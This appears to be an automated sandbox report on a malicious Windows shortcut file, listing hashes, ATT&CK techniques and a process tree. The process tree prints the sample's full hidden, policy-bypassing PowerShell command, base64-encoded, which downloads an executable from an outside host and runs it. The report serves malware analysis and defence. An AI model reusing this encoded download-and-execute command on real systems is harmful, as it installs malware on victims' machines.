3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809

Analysis

max time kernel
120s
max time network
125s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
27/07/2024, 11:00

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General

Target

3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809.lnk
Size

2KB
MD5

a38b0a4d0768ba8ce7c73904b55ee9ff
SHA1

a1a13ef45fcf88eaff3dcffba1fb2608aa07e3c8
SHA256

3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809
SHA512

4159cd37110d910624b8bb5c837e70668b3e6d795e1ab276ea32f5ab315509dedf11bd865d4c1be41f9cec698235453996939a0ac8a45f36a28a45bdf28b7cf8

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2872	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2872	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2872	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2416 wrote to memory of 2816	2416	cmd.exe	31
PID 2416 wrote to memory of 2816	2416	cmd.exe	31
PID 2416 wrote to memory of 2816	2416	cmd.exe	31
PID 2816 wrote to memory of 2872	2816	cmd.exe	32
PID 2816 wrote to memory of 2872	2816	cmd.exe	32
PID 2816 wrote to memory of 2872	2816	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\3f2491926888db2c9d6c7b1a426ff41e1cd4a13bc922156a814b9fe3032ff809.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cMD /c PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    PowErsHell -EX bypAss -nOp -w hidden -eC IAAJAEkATgB2AG8ASwBFAC0AdwBFAGIAUgBlAHEAVQBFAHMAVAAgAC0AVQBSAGkAIAAJAB0gaAB0AHQAcABzADoALwAvAHIAZQBtAGkAcwBhAHQALgBjAG8AbQAuAHUAeQAvAHoAdABpAC8AaABvAHQALgBlAHgAZQAdICAALQBvAHUAVABGAGkATABlACAACQAdICQAZQBuAFYAOgBhAFAAcABkAGEAdABhAFwAUAB1AHQAdAB5AFQAZQBzAHQANwA3ADcALgBwAGkAZgAdICAAIAA7ACAACQBpAE4AdgBvAGsARQAtAGkAVABlAG0AIAAJAB0gJABFAG4AdgA6AGEAcABQAEQAYQB0AEEAXABQAHUAdAB0AHkAVABlAHMAdAA3ADcANwAuAHAAaQBmAB0g
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2872

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2872-40-0x000007FEF5F7E000-0x000007FEF5F7F000-memory.dmp

Filesize
4KB

Download
memory/2872-41-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2872-42-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2872-43-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2872-44-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2872-45-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2872-46-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2872-47-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download
memory/2872-48-0x000007FEF5CC0000-0x000007FEF665D000-memory.dmp

Filesize
9.6MB

Download